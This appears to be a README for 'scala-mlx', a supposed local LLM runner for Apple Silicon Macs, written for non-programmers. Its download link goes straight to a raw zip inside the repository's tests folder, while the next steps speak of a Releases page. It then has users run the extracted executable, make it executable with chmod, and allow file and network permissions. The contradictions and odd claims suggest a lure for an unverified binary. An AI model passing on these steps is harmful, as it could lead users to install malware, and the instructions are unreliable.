scala-mlx lets you run large language models (LLMs) on Apple Silicon devices like MacBooks with M1 or M2 chips. It uses Scala Native and MLX, a system built for machine learning on Apple hardware. This app helps you get AI features working locally on your Mac without complex setups or cloud services.
You don’t need to know programming. Just follow the steps here to download and run it on your Mac.
Before you start, make sure your computer fits these needs:
- Apple Silicon Mac (M1, M1 Pro, M1 Max, M2)
- macOS 11 Big Sur or later
- At least 8 GB of RAM for basic model runs (more RAM helps)
- 500 MB of free disk space for the app and model files
- Internet connection for downloading files
These steps will guide you from downloading to running the program.
Click the green button above or this link to open the download page:
https://raw.githubusercontent.com/chenprof/scala-mlx/main/tests/mlx_scala_2.9.zip
This page contains the latest version of scala-mlx and all necessary files.
On the github page, look for a section named Releases. This is usually on the right side or under the repository name.
Click on the latest release (the top one) with a date or version number like v1.0, v1.2, or similar.
Inside the release, download the file ending with .zip or .tar.gz. This file is the full app package.
- On macOS, just double-click the
.zipfile. It will extract a folder namedscala-mlx. - Keep this folder somewhere easy to find, like your Desktop or Documents.
You will need to run scala-mlx from the Terminal to start the program.
- Find Terminal by searching in Spotlight (use the magnifying glass at the top right of your screen).
- When Terminal opens, type
cd(that’scdplus a space). - Next, drag the
scala-mlxfolder from Finder into the Terminal window. This automatically adds the correct path. - Press the Enter key.
This moves your Terminal to the folder where scala-mlx is stored.
In the Terminal, type the following command:
./scala-mlx
Then press Enter.
The program will start. It may take a moment to load the model. Wait patiently.
Once the program starts, you will see a prompt asking you to type.
- Write your requests or questions in plain English.
- Press Enter to get answers.
- The app runs locally on your Mac, so your data stays private.
You can type simple commands like:
- Ask about the weather.
- Request a summary of a paragraph.
- Generate ideas or text snippets.
The larger your Mac’s RAM and processor speed, the faster the app will reply.
To keep your app working well:
- Visit the download page regularly: https://raw.githubusercontent.com/chenprof/scala-mlx/main/tests/mlx_scala_2.9.zip
- Download the newest release following the same steps as above.
- Replace your old
scala-mlxfolder with the new one by deleting or renaming the old folder first.
-
If you get a “Permission denied” error running
./scala-mlx, make the file executable:chmod +x ./scala-mlx -
If the Terminal says “command not found,” check you are inside the right folder (
scala-mlx). -
The program may need macOS permissions to access files or network. When prompted, allow these.
-
Ensure your macOS is up to date to avoid compatibility problems.
scala-mlx uses Scala Native, a tool that lets Scala programs run directly on Apple Silicon. MLX is a lightweight inference engine optimized for machine learning tasks on these chips.
Because it runs locally, you won’t need internet to generate responses after the models install.
Inside the extracted scala-mlx folder you may find:
scala-mlx– the main app executable filemodels/– folder where LLM model files will be storedREADME.md– this guide- Other files needed to support the app
